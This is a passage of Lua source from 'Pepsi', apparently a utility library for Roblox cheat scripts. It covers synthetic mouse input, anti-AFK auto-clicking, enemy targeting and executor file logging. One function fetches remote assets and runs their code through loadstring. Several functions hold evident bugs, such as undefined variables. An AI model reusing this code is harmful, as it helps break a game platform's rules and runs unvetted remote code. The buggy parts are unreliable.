877		dur = dur.Changed -- Damn son. Some one is REALLY thinking outside the fuckn box.
878	end
879	if x ~= "no" and x ~= nil and y ~= "no" and y ~= nil then
880		Pepsi.MoveMouse(x, y)
881		Pepsi.Sleep()
882	end
883	if type(dur) == "boolean" then
884		return game:GetService("VirtualInputManager"):SendMouseButtonEvent(x, y + 36, button, dur, game)
885	elseif type(dur) == "number" then
886		game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, true, game)
887		wait(dur)
888		return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, false, game)
889	elseif type(dur) == "function" then
890		game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, true, game)
891		pcall(dur)
892		return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, false, game)
893	elseif typeof(dur) == "RBXScriptSignal" then -- Realllly compatable, lol
894		game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, true, game)
895		dur:Wait()
896		return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, false, game)
897	else -- Dur is not compatable
898		return game:GetService("VirtualInputManager"):SendMouseButtonEvent(Pepsi.Mouse().X, Pepsi.Mouse().Y + 36, button, not game:GetService("UserInputService"):IsMouseButtonPressed(button), game)
899	end
900end
901function Pepsi.MoveMouse(x, y)
902	if x == nil and y == nil then
903		x, y = Pepsi.MousePos()
904	end
905	if typeof(x) == "Vector2" then
906		x, y = Pepsi.Viewport(x)
907	end
908	if x and y then
909		return game:GetService("VirtualInputManager"):SendMouseMoveEvent(x, y, game)
910	end
911end
912function Pepsi.MoveMouseRel(x, y)
913	local mx, my = Pepsi.MousePos()
914	if x == nil and y == nil then
915		x, y = 0, 0
916	end
917	if typeof(x) == "Vector2" then
918		x, y = Pepsi.Viewport(x)
919	end
920	if x and y then
921		x, y = x + mx, y + my
922		return game:GetService("VirtualInputManager"):SendMouseMoveEvent(x, y + 36, game)
923	end
924end
925function Pepsi.LeftClick(x, y, dur) -- Mousebutton1down and Up that works even if roblox is minimized or un focused
926	if x == nil and y == nil then
927		x, y = "no", "no"
928	end
929	if typeof(x) == "Vector2" then
930		dur = y
931		x, y = Pepsi.Viewport(x)
932	end
933	if dur == nil then
934		dur = 1 / 20 -- Defaults to 0.05 second click
935	elseif typeof(dur) == "Instance" then
936		dur = dur.Changed -- Damn son. Some one is REALLY thinking outside the fuckn box.
937	end
938	return Pepsi.Click(Enum.UserInputType.MouseButton1, x, y, dur)
939end
940function Pepsi.RightClick(x, y, dur)
941	if x == nil and y == nil then
942		x, y = "no", "no"
943	end
944	if typeof(x) == "Vector2" then
945		dur = y
946		x, y = Pepsi.Viewport(x)
947	end
948	if dur == nil then
949		dur = 1 / 100
950	end
951	return Pepsi.Click(Enum.UserInputType.MouseButton2, x, y, dur)
952end
953function Pepsi.MiddleClick(x, y, dur)
954	if x == nil and y == nil then
955		x, y = "no", "no"
956	end
957	if typeof(x) == "Vector2" then
958		dur = y
959		x, y = Pepsi.Viewport(x)
960	end
961	if dur == nil then
962		dur = 1 / 100
963	end
964	return Pepsi.Click(Enum.UserInputType.MouseButton3, x, y, dur)
965end
966function Pepsi.Scroll(num)
967	local out = true
968	if 0 > num then
969		out = false
970	end
971	return game:GetService("VirtualInputManager"):SendMouseWheelEvent(0, math.abs(num), out, game)
972end
973function Pepsi.Viewport(x, y, sx, sy)
974	if typeof(x) == "Vector2" then
975		sy, sx = sx, y
976		x, y = x.X, x.Y -- Compatability bruh
977	end
978	return math.round((sx or workspace.CurrentCamera.ViewportSize.X) * x), math.round(y * (sy or workspace.CurrentCamera.ViewportSize.Y))
979end
980function Pepsi.ToVector2(x, y, no_vec)
981	local mouse = nil
982	if type(x) == "boolean" and y == nil and no_vec == nil then
983		no_vec = x
984		x = nil
985	end
986	if x == nil or y == nil then
987		mouse = Pepsi.Mouse()
988	end
989	if no_vec then
990		return tonumber(x or mouse.X) / workspace.CurrentCamera.ViewportSize.X, tonumber(y or (36 + mouse.Y)) / workspace.CurrentCamera.ViewportSize.Y
991	end
992	return Vector2.new(tonumber(x or mouse.X) / workspace.CurrentCamera.ViewportSize.X, tonumber(y or (36 + mouse.Y)) / workspace.CurrentCamera.ViewportSize.Y)
993end
994function Pepsi.IsA(obj, class) -- typeof on steroids
995	if class == type(true) then -- To prevent the function taking "boolean" as a string and not a boolean
996		class = true
997	elseif class == type(typeof) then
998		class = rawequal
999	elseif class == typeof(game) then
1000		class = game
1001	elseif class == type(newthread) then
1002		class = newthread
1003	elseif class == "Vector3" then
1004		class = Vector3.new()
1005	elseif class == "Ray" then
1006		class = Ray.new()
1007	elseif class == "Enums" then
1008		class = Enum
1009	elseif class == "Enum" then
1010		class = Enum.ActionType
1011	elseif class == "EnumItem" then
1012		class = Enum.ActionType.Draw
1013	elseif class == "number" then
1014		class = 134663337
1015	elseif class == "nil" then
1016		class = nil
1017	elseif class == "userdata" then
1018		class = newproxy(true)
1019	end
1020    if nil == obj and nil ~= class then
1021		class = nil
1022        return false
1023    elseif typeof(obj) == "Instance" and nil ~= class then
1024		local back
1025        if typeof(game) == typeof(class) then
1026            class, back = class.ClassName, class
1027        end
1028		if nil ~= class then
1029	        if obj.ClassName == class or obj:IsA(class) == true then
1030				class = nil
1031	            return true
1032	        end
1033		end
1034		class, back = back, nil
1035	end
1036    if typeof(obj) == typeof(class) or typeof(obj) == class or typeof(class) == obj or obj == class then
1037		class = nil
1038        return true
1039    end
1040	class = nil
1041    return false
1042end
1043function Pepsi.ycall(f, ...)
1044	local args = {...}
1045	return spawn(function()
1046		return pcall(f, unpack(args))
1047	end)
1048end
1049function Pepsi.eycall(f, ...)
1050	local args = {...}
1051	return spawn(function()
1052		return Pepsi.ecall(f, unpack(args))
1053	end)
1054end
1055function Pepsi.Dev(...)
1056	return Pepsi.scall(Pepsi.DevMsg, ...)
1057end
1058function Pepsi.WaitOnAny(...)
1059    local args = {
1060        ...
1061    }
1062    local connections, aggregator, depth, connect = {}, Instance.new("BindableEvent"), 0, nil
1063	function connect(index, signal)
1064		depth = tonumber(1 + (depth or 0))
1065		if typeof(signal) == "RBXScriptSignal" then
1066			local dupes = 0
1067			while connections[index] ~= nil do
1068				local offset = #tostring(dupes)
1069				dupes = 1 + dupes
1070				if index:sub(-(offset + 1), -(offset + 1)) == "_" then
1071					index = index:sub(1, -(offset + 2))
1072				end
1073				index = tostring(tostring(index) .. "_" .. tostring(dupes))
1074			end
1075            connections[index] = signal:Connect(function(...)
1076                aggregator:Fire(index, ...)
1077            end)
1078		elseif type(signal) == "table" and depth < 4 then
1079            table.foreach(signal, connect)
1080        end
1081	end
1082    for index, signal in pairs(args) do
1083        if typeof(signal) == "RBXScriptSignal" then
1084            connections[index] = signal:Connect(function(...)
1085                aggregator:Fire(index, ...)
1086            end)
1087        elseif type(signal) == "table" then
1088            table.foreach(signal, connect)
1089        end
1090    end
1091    local result = {
1092        aggregator.Event:Wait()
1093    }
1094    for k, v in pairs(connections) do
1095        if typeof(v) == "RBXScriptConnection" then
1096            v:Disconnect()
1097            v = nil
1098        end
1099    end
1100    aggregator:Destroy()
1101    return unpack(result)
1102end
1103function Pepsi.PartToPlayer(part)
1104	if typeof(part) == "Instance" then
1105		local char = part:FindFirstAncestorOfClass("Model")
1106		if char then
1107			return game:GetService("Players"):GetPlayerFromCharacter(char)
1108		end
1109	end
1110end
1111function Pepsi.PartsToPlayers(parts)
1112	Pepsi.Arg(parts, {"table"}, 1, "Pepsi.PartsToPlayers")
1113	local losers = {}
1114	for _, part in pairs(parts) do
1115		local p = Pepsi.PartToPlayer(part)
1116		if p then
1117			losers[p] = true
1118		end
1119	end
1120	return table.keys(losers)
1121end
1122function Pepsi.Pos(user)
1123	user = user or Pepsi.Torso()
1124	if typeof(user) == "Instance" and user:IsA("ValueBase") then
1125		if not user.Value then
1126			return
1127		end
1128		user = user.Value
1129	end
1130	if typeof(user) == "CFrame" then
1131		return user.Position
1132	elseif typeof(user) == "Vector3" then
1133		return user
1134	elseif typeof(user) == "Instance" and user:IsA("BasePart") then
1135		return user.Position
1136	elseif typeof(user) == "Instance" and user:IsA("Model") and user.PrimaryPart then
1137		return user.PrimaryPart.Position
1138	elseif typeof(user) == "Instance" and user:IsA("Player") and Pepsi.Torso(user) then
1139		return Pepsi.Torso(user).Position
1140	elseif user and typeof(user) == "Instance" and user:FindFirstChildWhichIsA("BasePart") or user:FindFirstChildWhichIsA("BasePart", true) then
1141		return user:FindFirstChildWhichIsA("BasePart") and user:FindFirstChildWhichIsA("BasePart").Position or user:FindFirstChildWhichIsA("BasePart", true).Position
1142	end
1143end
1144function Pepsi.DevMsg(...) -- Pepsi.Dev("**", "msg") // Forces a dev-only message to appear to non-devs
1145	if not shared.dev then
1146		return
1147	end
1148	if #({...}) == 1 or shared.dev == "*" then
1149		return Pepsi.Hint(Pepsi.Msg(...))
1150	elseif not Pepsi.IsA(shared.dev, "nil") then
1151		local args = {...}
1152		local channel = tonumber(args[1] or 1) or 1
1153		table.remove(args, 1)
1154		local msg = Pepsi.Msg(unpack(args))
1155		if shared.dev == channel or channel == "**" then
1156			return Pepsi.Hint(Pepsi.Msg(...))
1157		elseif channel == "***" then -- Make the user fully aware
1158			return Pepsi.Splash(Pepsi.scall(Pepsi.Error, Pepsi.Msg(...)))
1159		end
1160	end
1161end
1162function Pepsi.GetUI(v)
1163	v = math.range(tonumber(v or 1), 1, 2)
1164	Pepsi.Notify("Credit", "wally's UI Library Loaded!")
1165	return Pepsi.ecall(loadstring(rawget(game:GetObjects(rawget({"rbxassetid://3590459771", "rbxassetid://4133667265"}, v)), 0X1).Source))
1166end
1167function Pepsi.Msg(...)
1168	local s = tostring(Pepsi.scall(string.stringify, ...) or "") or ""
1169	if s:len() > 0 then
1170		game:GetService("TestService"):Message(tostring(s or "") or "", nil, nil)
1171		return tostring(s or "") or ""
1172	end
1173end
1174function Pepsi.ErrorMsg(...)
1175	local s = tostring(Pepsi.scall(string.stringify, ...) or "") or ""
1176	if s:len() > 0 then
1177		game:GetService("TestService"):Error(tostring("error: " .. tostring(s or "")) or "", nil, nil)
1178		return tostring(s or "") or ""
1179	end
1180end
1181function Pepsi.Rejoin(loser)
1182	loser = loser or Pepsi.Me()
1183	if Pepsi.Server or game.JobId then -- Keep trying, but if its full, goto new server.
1184		game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, tostring(Pepsi.Server or game.JobId), loser)
1185		local y, x = tostring(Pepsi.WaitUntil(game:GetService("GuiService").ErrorMessageChanged, 10, "Teleport Failed"))
1186		if not x or not y or string.find(x, "Teleport Failed", nil, true) then
1187			game:GetService("TeleportService"):Teleport(game.PlaceId, loser)
1188		end
1189	else
1190		return game:GetService("TeleportService"):Teleport(game.PlaceId, loser)
1191	end
1192end
1193function Pepsi.AntiAfk(rejoin)
1194	if Pepsi.afk then
1195		Pepsi.afk:Disconnect()
1196		Pepsi.afk = nil
1197	end
1198	if Pepsi.rejoinserver then
1199		Pepsi.rejoinserver:Disconnect()
1200		Pepsi.rejoinserver = nil
1201	end
1202	Pepsi.afk = Pepsi.Me().Idled:Connect(Pepsi.acall(Pepsi.LeftClick, {Vector2.new(1, 1)}))
1203	if rejoin then
1204		Pepsi.rejoinserver = game:GetService("GuiService").ErrorMessageChanged:Connect(function(msg)
1205			if string.find(msg, "Teleport Failed", nil, true) then
1206				return game:GetService("TeleportService"):Teleport(game.PlaceId, loser)
1207			else
1208				return game:GetService("TeleportService").TeleportToPlaceInstance(game.PlaceId, (Pepsi.Server or game.JobId), Pepsi.Lp)
1209			end
1210		end)
1211	end
1212end
1213function Pepsi.Me()
1214	Pepsi.Lp = game:GetService("Players").LocalPlayer
1215	return Pepsi.Lp or game:GetService("Players").LocalPlayer
1216end
1217function Pepsi.Notify(title, msg, dur, ico)
1218	if title ~= nil and msg == nil and dur == nil then
1219		title, msg = shared.project or "Notification", title
1220	end
1221	return game:GetService("StarterGui"):SetCore("SendNotification", {
1222		Title = tostring(title or shared.project or ""):upper(),
1223		Text = tostring(msg or ""):upper(),
1224		Duration = tonumber(dur or 3.5) or 3.5,
1225		
1226	}) or tostring(msg or "") or "My god, what have you dun..."
1227end
1228function Pepsi.Error(str)
1229	local str, orig = tostring(str or "Unknown") or "Unknown", str
1230	pcall(warn, "Error:" .. tostring(str or "Unknown"))
1231	pcall(function()
1232		if isfile and appendfile and writefile then
1233			if not isfile("pepsi_errors.txt") then
1234				writefile("pepsi_errors.txt", tostring(str or "Unknown") .. "\n")
1235			else
1236				appendfile("pepsi_errors.txt", tostring(str or "Unknown") .. "\n")
1237			end
1238		end
1239	end)
1240	if shared.catch_errors or shared.dev then
1241		return error(tostring(str or orig or "Fucked."))
1242	end
1243	return tostring(orig or str or "") or "Something is truly fucked up. Like really."
1244end
1245function Pepsi.Sleep(n)
1246	if nil == n or type(n) == "number" and n <= 0 then
1247		game:GetService("RunService").RenderStepped:Wait()
1248		return true
1249	end
1250	n = tonumber(n or 1)
1251	local ti = nil
1252	for loops = 1, n do
1253		ti = {game:GetService("RunService").RenderStepped:Wait()}
1254	end
1255	return unpack(ti or {true})
1256end
1257function Pepsi.ecall(f, ...) -- Extra Call
1258	local r = {pcall(f, ...)}
1259	local b = table.remove(r, 1)
1260	if b then
1261		return unpack(r)
1262	else
1263        if shared.catch_errors or shared.dev then
1264			return error(Pepsi.Error(ret[2]), 2)
1265		end
1266		Pepsi.Error(tostring(ret[2]))
1267		return nil
1268	end
1269end
1270function Pepsi.scall(f, ...) -- silent call
1271	local r = {pcall(f, ...)}
1272	local b = table.remove(r, 1)
1273	if b then
1274		return unpack(r)
1275	else
1276		return nil
1277	end
1278end
1279function Pepsi.sycall(f, ...) -- silent yield call
1280	local args = {...}
1281	return spawn(function()
1282		return Pepsi.scall(f, unpack(args))
1283	end)
1284end
1285function Pepsi.IsDescendantOf(descendant, ancestors, ...)
1286	if descendant and ancestors	then
1287		local suffix = {...}
1288		if type(ancestors) ~= "table" then
1289			ancestors = {ancestors}
1290		end
1291		if #suffix > 0 then
1292			for k, v in pairs(suffix) do
1293				table.insert(ancestors, v)
1294			end
1295		end
1296		for k, v in pairs(ancestors) do
1297			if v and typeof(v) == "Instance" then
1298				if descendant:IsDescendantOf(v) then
1299					return true
1300				end
1301			end
1302		end
1303	end
1304	return false
1305end
1306function Pepsi.Obj(set,...)
1307    local jumps = {
1308        ...
1309    }
1310    local s = {
1311        dig = false,
1312        wfc = false,
1313        silent = true,
1314        default = nil
1315    }
1316    if type(set) == "table" and type(jumps[1]) ~= "nil" and type(jumps[1]) ~= "table" then
1317        s = table.merge(s, set)
1318    end
1319    if typeof(set) == "Instance" or type(set) == "string" then
1320        table.insert(jumps, 1, set)
1321    end
1322    if s.wfc and (type(tonumber(s.dig)) ~= "number" or math.abs(tonumber(s.dig)) <= 0) then
1323        s.dig = 5
1324    end
1325    local goal = game
1326    local tmp, oops, res, last
1327    for _, v in pairs(jumps) do
1328        local fnd, res = false, nil
1329        if type(v) == "string" then
1330            if goal == game then
1331                oops, tmp = pcall(function()
1332                    return game:FindService(v) or game[v]
1333                end)
1334                if not oops or nil == tmp then
1335                    oops, tmp = pcall(function()
1336                        return game:GetService(v) or game[v]
1337                    end)
1338                end
1339                if oops and nil ~= tmp then
1340                    goal, fnd = tmp, true
1341                    last = typeof(goal) == "Instance" and goal or last
1342                end
1343            end
1344            if type(goal) ~= "nil" and not fnd then
1345                if typeof(goal) == "Instance" then
1346                    oops, tmp = pcall(function()
1347                        if true == s.wfc then
1348                            return goal:WaitForChild(v, tonumber(s.dig or 5)) or Pepsi.Index(goal, v)
1349                        end
1350                        return goal:FindFirstChild(v, s.dig) or Pepsi.Index(goal, v)
1351                    end)
1352                    if oops and nil ~= tmp then
1353                        goal, fnd = tmp, true
1354                        last = typeof(goal) == "Instance" and goal or last
1355                    end
1356                end
1357                if not fnd then
1358                    oops, tmp = pcall(function()
1359                        return goal[v]
1360                    end)
1361                    if oops and tmp ~= nil then
1362                        goal, fnd = tmp, true
1363                        last = typeof(goal) == "Instance" and goal or last
1364                    end
1365                end
1366            end
1367        elseif typeof(v) == "Instance" then
1368            goal, fnd = v, true
1369            last = typeof(goal) == "Instance" and goal or last
1370        elseif type(goal) == "function" and type(v) == "table" then
1371            res = {
1372                pcall(goal, unpack(v))
1373            }
1374            oops, tmp = unpack(res)
1375            if not oops and type(tmp) == "string" and string.rawfind(tmp, "':' not '.'") then
1376                table.insert(v, 1, last)
1377                res = {
1378                    pcall(goal, unpack(v))
1379                }
1380                oops, tmp = unpack(res)
1381            end
1382            if oops and tmp then
1383                goal, fnd = tmp, true
1384                last = typeof(goal) == "Instance" and goal or last
1385            end
1386        end
1387        if not fnd then
1388            if not s.silent then
1389                Pepsi.Error(tostring(v) .. " was not found in " .. tostring(goal))
1390            end
1391            goal = s.default
1392            break
1393        end
1394    end
1395    if type(res) == "table" and res[1] == true then
1396        table.remove(res, 1)
1397        return unpack(res)
1398    end
1399    return goal or s.default
1400end
1401function Pepsi.Char(loser)
1402	loser = loser or Pepsi.Me() or game:GetService("Players").LocalPlayer
1403	if not Pepsi.IsA(loser, "Player") then
1404		loser = Pepsi.Me() or game:GetService("Players").LocalPlayer
1405	end
1406	return loser.Character
1407end
1408function Pepsi.Player(s)
1409	return game:GetService("Players"):FindFirstChild(s)
1410end
1411function Pepsi.Target()
1412	return Pepsi.scall(function()
1413		return game:GetService("Players").LocalPlayer:GetMouse().Target
1414	end)
1415end
1416function Pepsi.Torso(loser)
1417	local c = Pepsi.Char(loser)
1418	if c then
1419		return c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso") or c:FindFirstChild("HumanoidRootPart", true) or c:FindFirstChild("Torso", true) or c:FindFirstChild("UpperTorso", true)
1420	end
1421end
1422function Pepsi.Human(loser)
1423	if typeof(loser) == "Instance" and loser:IsA("Humanoid") then
1424		return loser
1425	end
1426	local c = Pepsi.Char(loser)
1427	if c then
1428		return c:FindFirstChildOfClass("Humanoid") or c:FindFirstChildWhichIsA("Humanoid") or c:FindFirstChildOfClass("Humanoid", true) or c:FindFirstChildWhichIsA("Humanoid", true)
1429	end
1430end
1431function Pepsi.Health(human, ...)
1432	local dstats = {
1433		health = {
1434			h = true
1435		},
1436		max = {
1437			m = true
1438		},
1439		percent = {
1440			["%"] = true,
1441			p = true,
1442			r = true,
1443			f = true
1444		},
1445		num = {
1446			["#"] = true,
1447			n = true
1448		},
1449		all = {
1450			["*"] = true,
1451			a = true
1452		}
1453	}
1454	local args = {...}
1455	if typeof(human) ~= "Instance" or not human:IsA("Humanoid") then
1456		table.insert(args, 1, human)
1457		human = Pepsi.Human()
1458		if not human then
1459			return #args > 1 and {0} or 0
1460		end
1461	end
1462	human = human or Pepsi.Human()
1463	if not human then
1464		return #args > 1 and {0} or 0
1465	end
1466	if #args < 1 then
1467		return human and human.Health or 0
1468	elseif #args == 1 then
1469		if args[1] == 1 then
1470			return human and human.Health or 0
1471		elseif args[1] == 2 then
1472			return human and human.MaxHealth or 0
1473		elseif args[1] == 3 then
1474			if human and human.MaxHealth == 100 then -- No point in doing math if its 100.
1475				return human and human.Health or 0
1476			end
1477			return human and math.round(human.Health / human.MaxHealth * 100) or 0
1478		else
1479			args[1] = tostring(args[1])
1480		end
1481		if type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "p" or args[1]:sub(1, 1):lower() == "%" then
1482			return human and math.round(human.Health / human.MaxHealth * 100) or 0
1483		elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "m" then
1484			return human and human.MaxHealth or 0
1485		elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "h" then
1486			return human and human.Health or 0
1487		elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "a" or args[1]:sub(1, 1):lower() == "*" then
1488			return {
1489				(human and human.Health or 0),
1490				(human and human.MaxHealth or 0),
1491				(human and math.round(human.Health / human.MaxHealth * 100) or 0),
1492				health = (human and human.Health or 0),
1493				max = (human and human.MaxHealth or 0),
1494				percent = (human and math.round(human.Health / human.MaxHealth * 100) or 0)
1495			}
1496		elseif type(args[1]) == "string" and args[1]:sub(1, 1):lower() == "n" or args[1]:sub(1, 1):lower() == "#" then
1497			return {
1498				(human and human.Health or 0),
1499				(human and human.MaxHealth or 0),
1500				(human and math.round(human.Health / human.MaxHealth * 100) or 0)
1501			}
1502		end
1503	end
1504	local newargs = {}
1505	for k, v in pairs(args) do
1506		if type(v) == "string" then
1507			table.insert(newargs, v)
1508		elseif type(v) == "number" then
1509			table.insert(newargs, "number")
1510		elseif type(v) == "table" then
1511			for _k, _v in pairs(v) do
1512				if type(v) == "string" then
1513					table.insert(newargs, _v)
1514				end
1515			end
1516		end
1517	end
1518	local selection = {}
1519	for k, v in pairs(newargs) do
1520		for _k, _v in pairs(dstats) do
1521			if _v[string.lower(tostring(v)):sub(1, 1)] then
1522				selection[_k] = true
1523			end
1524		end
1525	end
1526	local stats = {}
1527	-- Could we have any more loops for the checking of health??
1528	if selection.health or selection.all then
1529		stats.health = human and human.Health or 0
1530		if selection.num or selection.all then
1531			stats[1] = human and human.Health or 0
1532		end
1533	end
1534	if selection.max or selection.all then
1535		stats.max = human and human.MaxHealth or 0
1536		if selection.num or selection.all then
1537			stats[2] = human and human.MaxHealth or 0
1538		end
1539	end
1540	if selection.percent or selection.all then
1541		stats.percent = human and math.round(human.Health / human.MaxHealth * 100) or 0
1542		if selection.num or selection.all then
1543			stats[3] = human and math.round(human.Health / human.MaxHealth * 100) or 0
1544		end
1545	end
1546	return stats
1547end
1548function Pepsi.Bot.new(options)
1549	Pepsi.Arg(options, {"nil", "table"}, 1, "Pepsi.Bot.new")
1550	local sets = table.merge({
1551		name = nil,
1552		userid = nil,
1553		spawnpos = nil,
1554		rig = 1,
1555		scripts = {}
1556	}, (options or {}))
1557	if sets.spawnpos ~= nil then
1558		sets.spawnpos = Pepsi.ToVector3(sets.spawnpos)
1559	end
1560	sets.scripts = sets.scripts or {}
1561	sets.name = tostring(sets.name or ((sets.userid and Pepsi.encall(game:GetService("Players"), "GetNameFromUserIdAsync", sets.userid)) or tostring("Bot " .. tostring(1 + #Pepsi.Bot.Bots))))
1562	Pepsi.Arg(sets.name, {"string"}, 1, "Pepsi.Bot.new")
1563	Pepsi.Arg(sets.userid, {"nil", "number"}, 1, "Pepsi.Bot.new")
1564	Pepsi.Arg(sets.spawnpos, {"nil", "Vector3"}, 1, "Pepsi.Bot.new")
1565	Pepsi.Arg(sets.rig, {"EnumItem", "number"}, 1, "Pepsi.Bot.new")
1566	Pepsi.Arg(sets.scripts, {"nil", "table"}, 1, "Pepsi.Bot.new")
1567	local d = assert(game:GetService("Players"):GetHumanoidDescriptionFromUserId(user), "Missing description")
1568	local r = assert(game:GetService("Players"):CreateHumanoidModelFromDescription(d, sets.rig), "Mising info?")
1569	local bot = assert(game:GetService("Players"):CreateHumanoidModelFromUserId(sets.userid or 6), "Missing bot?")
1570	bot.Name = tostring(sets.name or "Bot")
1571	local rhuman = assert(r:FindFirstChildOfClass("Humanoid") or r:FindFirstChildWhichIsA("Humanoid", true), "Missing bot humanoid?")
1572	local scr = {}
1573	local s = r:FindFirstChild("Animate")
1574	if s then
1575		s = s:Destroy()
1576	end
1577	for _, obj in pairs(char:GetChildren()) do
1578		if obj:IsA("LuaSourceContainer") then
1579			local s = obj:Clone()
1580			s.Disabled = true
1581			s.Parent = r
1582			table.insert(scr, s)
1583		elseif obj:IsA("Humanoid") then
1584			for _, val in pairs(obj:GetChildren()) do
1585				if val:IsA("ValueBase") and rhuman and rhuman:FindFirstChild(val.Name) then
1586					rhuman:FindFirstChild(val.Name).Value = val.Value
1587				end
1588			end
1589		end
1590	end
1591	return bot
1592end
1593function Pepsi.Index(t, i)
1594	Pepsi.ecall(assert, Pepsi.IsA(t, "table") and i ~= nil, not Pepsi.IsA(t, "table") and "Table missing" or "Index missing")
1595	return Pepsi.scall(rawget, t, i)
1596end
1597function Pepsi.EIndex(t, i, r)
1598	Pepsi.ecall(assert, Pepsi.IsA(t, "table") and i ~= nil, not Pepsi.IsA(t, "table") and "Table missing" or "Index missing")
1599	local s, f = pcall(rawget, t, i)
1600	local args = {}
1601	r = (tostring(r or "i"):len() > 0 and tostring(r or "i"):len() < 3) and "i" or r
1602	tostring(r or "i"):gsub(".", function(m)
1603		if "i" == m then
1604			table.insert(args, f)
1605		elseif "b" == m then
1606			table.insert(args, s)
1607		end
1608	end)
1609	return unpack(args or {false}) or false
1610end
1611function Pepsi.Team(plr, plr2)
1612	plr = plr or Pepsi.Me() or game:GetService("Players").LocalPlayer
1613	if not Pepsi.IsA(plr, "Player") then
1614		plr = Pepsi.Me() or game:GetService("Players").LocalPlayer
1615	end
1616	if Pepsi.IsA(plr, "Player") and plr2 == nil then
1617		return ((function()
1618			if Pepsi.IsA(plr.Team, game) then
1619				return plr.Team.Name
1620			end
1621			return "Neutral"
1622		end)()), (plr.TeamColor or BrickColor.White())
1623	elseif Pepsi.IsA(plr, "Player") and Pepsi.IsA(plr2, "Player") then
1624		if Pepsi.IsA(plr.Team, game) and Pepsi.IsA(plr2.Team, game) then
1625			return (plr.Team.Name == plr2.Team.Name and plr2.TeamColor == plr.TeamColor) or plr.Team == plr2.Team
1626		end
1627	end
1628end
1629function Pepsi.icall(instructions, ...)
1630	assert(instructions == nil or type(instructions) == "string" or type(instructions) == "table", "bad argument #1 to 'icall' (table/string expected, got " .. typeof(instructions) ~= "nil" and typeof(instructions) or "no value" .. ")")
1631	assert(#({...}) > 0, "bad argument #2+ to 'icall' (value(s) expected, got no values)")
1632	local operations = {
1633		a = false,
1634		e = false,
1635		f = false,
1636		n = false,
1637		i = false,
1638		o = false,
1639		s = false,
1640		y = false
1641	}
1642	local calls = {}
1643	if type(instructions) == "string" then
1644		local t = {}
1645		instructions:gsub(".", function(c)
1646			table.insert(t, c)
1647		end)
1648		instructions = t
1649	end
1650	for k, v in pairs(instructions) do
1651		if type(v) == "string" then
1652			local instruction = v:sub(1, 1)
1653			if operations[instruction] ~= nil then
1654				operations[instruction] = true
1655				calls[instruction] = true
1656			end
1657		end
1658	end
1659	if operations.e and operations.s then
1660		operations.e = false
1661		calls.e = nil
1662	end
1663	calls = table.concat(table.sort(table.keys(calls))) .. "call"
1664	if calls and rawget(Pepsi, calls) then
1665		return Pepsi[calls](...)
1666	end
1667	return pcall(...)
1668end
1669function Pepsi.Closest(objects, opt, ...)
1670	local from, rev, min, max, fastmin, fastmax, async = unpack({opt, ...})
1671	if type(opt) == "table" then
1672		from, rev, min, max, fastmin, fastmax, async = opt.from, opt.rev, opt.min, opt.max, opt.fastmin, opt.fastmax, opt.async, opt.async
1673	end
1674	from = from or Pepsi.Me()	
1675	if type(objects) ~= "table" and type(from) == "table" then
1676		objects, from = from, objects
1677	end
1678	Pepsi.Arg(objects, {"table", "Instance"}, 1, "Pepsi.Closest")
1679	Pepsi.Arg(from, {"CFrame", "Vector3", "Instance"}, 2, "Pepsi.Closest")
1680	Pepsi.Arg(rev, {"boolean", "nil"}, 3, "Pepsi.Closest")
1681	Pepsi.Arg(max, {"number", "nil"}, 3, "Pepsi.Closest")
1682	Pepsi.Arg(min, {"number", "nil"}, 3, "Pepsi.Closest")
1683	Pepsi.Arg(fastmin, {"boolean", "nil"}, 3, "Pepsi.Closest")
1684	Pepsi.Arg(fastmax, {"boolean", "nil"}, 3, "Pepsi.Closest")
1685	if typeof(objects) == "Instance" then
1686		objects = objects:GetChildren()
1687	end
1688	max, min = tonumber(max or math.huge), tonumber(min or 0)
1689	local closest, dist, dists = nil, tonumber(max or math.huge), {}
1690	for _, obj in pairs(objects) do
1691		local d = Pepsi.Dist(obj, from)
1692		if type(d) == "number" then
1693			if fastmax and fastmin and max and min and d < min and d > max then
1694				return obj, {{obj, d}}
1695			elseif fastmax and max and d > max then
1696				return obj, {{obj, d}}
1697			elseif fastmin and min and d > min then
1698				return obj, {{obj, d}}
1699			elseif d < max and d > min then
1700				table.insert(dists, {obj, d})
1701			end
1702		end
1703		if async then
1704			if typeof(async) == "RBXScriptSignal" then
1705				async:Wait()
1706			else
1707				Pepsi.Rs:Wait()
1708			end
1709		end
1710	end
1711	if rev then
1712		table.sort(dists, function(a, b)
1713			return a[2] > b[2]
1714		end)
1715	else
1716		table.sort(dists, function(a, b)
1717			return a[2] < b[2]
1718		end)
1719	end
1720	local k, t = next(dists or {})
1721	if type(t) == "table" then
1722		local k, o = next(t or {})
1723		return o, dists
1724	end
1725	return nil, dists
1726end
1727function Pepsi.GetEnemy(plr)
1728	if not Pepsi.IsA(plr, "Player") then
1729		plr = Pepsi.Me()
1730	end
1731	if Pepsi.Team(plr) == "Neutral" then
1732		return Pepsi.GetOthers(plr)
1733	end
1734	local losers = {}
1735	for _, cteam in pairs(game:GetService("Teams"):GetTeams()) do
1736		if not rawequal(cteam.Name, Pepsi.Team(plr)) then
1737			for _, loser in pairs(cteam:GetPlayers()) do
1738				table.insert(losers, loser)
1739			end
1740		end
1741	end
1742	return losers
1743end
1744function Pepsi.Path(vector3, vec2)
1745   	Pepsi.WaitForChar()
1746	if vector3 and not vec2 then
1747		vector3, vec2 = Pepsi.Pos(), vector3
1748	end
1749    Pepsi.Arg(vector3, {"nil", "CFrame", "Vector3"}, 1, "Pepsi.Path")
1750	vector3 = Pepsi.ToVector3(vector3)
